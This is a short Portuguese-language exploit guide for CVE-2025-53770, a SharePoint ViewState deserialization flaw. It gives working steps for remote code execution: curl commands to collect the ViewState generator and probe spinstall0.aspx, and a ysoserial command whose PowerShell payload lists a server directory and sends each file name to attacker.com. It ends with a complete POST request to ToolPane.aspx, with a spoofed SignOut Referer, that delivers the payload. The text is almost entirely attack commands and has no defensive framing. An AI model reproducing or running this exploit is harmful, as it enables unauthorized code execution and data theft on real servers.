
Exploit para CVE-2025-53770 que visa a desserialização de ViewState do SharePoint. Utiliza o ysoserial para gerar um payload que lista diretórios do servidor e exfiltra nomes de arquivos para uma URL controlada pelo atacante.
Primeiro, obtenha os valores de __VIEWSTATEGENERATOR, VALIDATION_KEY, VALIDATION_ALG da página alvo do SharePoint:
curl -s https://target.com/_layouts/15/start.aspx | grep -oP '__VIEWSTATEGENERATOR" value="\K[^"]+'
curl https://target.com/_layouts/15/spinstall0.aspx
Em seguida, crie um payload ViewState PowerShell usando ysoserial.exe que lista um diretório no servidor e envia os nomes dos arquivos para uma URL externa:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"dir 'C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \
--generator="<VIEWSTATE_GENERATOR>" \
--validationkey="<VALIDATION_KEY>" \
--validationalg="<VALIDATION_ALG>" \
--islegacy \
--minify
Finalmente, adicione o token gerado a uma requisição POST como esta para executar o comando no servidor:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2Fwww.itsc.org%2F_controltemplates%2F15%2FAclEditor.ascx&MSOTlPn_DWP=<GENERATED_PAYLOAD>